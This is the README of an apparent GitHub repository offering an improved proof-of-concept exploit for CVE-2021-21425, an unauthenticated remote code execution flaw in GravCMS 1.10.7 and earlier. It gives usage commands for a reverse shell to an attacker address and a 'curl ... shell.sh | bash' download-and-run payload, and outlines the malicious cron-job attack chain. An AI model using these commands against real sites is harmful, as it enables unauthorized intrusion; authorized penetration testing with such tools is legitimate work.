d4ytox/cve-2021-21425CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Improved exploit with CLI args and auto base64 encoding.
Improved proof-of-concept for CVE-2021-21425, an unauthenticated Remote Code Execution vulnerability in GravCMS <= 1.10.7 via arbitrary YAML write to the scheduler.
This is derivative work. The vulnerability and the original exploit are not mine.
| Role | Who |
|---|
| Vulnerability discovered by | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — March 2021 |
| Original PoC by | "legend" — Exploit-DB EDB-49973 |
| Modifications in this repo by | d4ytox |
The original EDB-49973 requires manually editing hardcoded values in the script. This version adds:
-c)These are usability changes to an existing exploit. No vulnerability research is claimed.
| Field | Value |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Affected | GravCMS <= 1.10.7 |
| Type | Unauthenticated RCE |
| CVSS | 9.8 (Critical) |
The Grav Admin plugin fails to verify authentication on certain admin routes, allowing unauthenticated users to write arbitrary YAML configuration. This exploit abuses the scheduler configuration to create a cron job that executes arbitrary PHP code.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin to extract the admin-nonce token (no auth required due to vulnerability)/admin/config/scheduler with malicious cron job configuration/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh and executes itThe cron job runs every minute (* * * * *), so shell arrives within 60 seconds.
MIT, applying only to the modifications in this repository. The upstream PoC carries no licence, so it remains all rights reserved by its author. See LICENSE for the full attribution notice.
For authorized security testing only. Ensure you have written permission before testing against any system.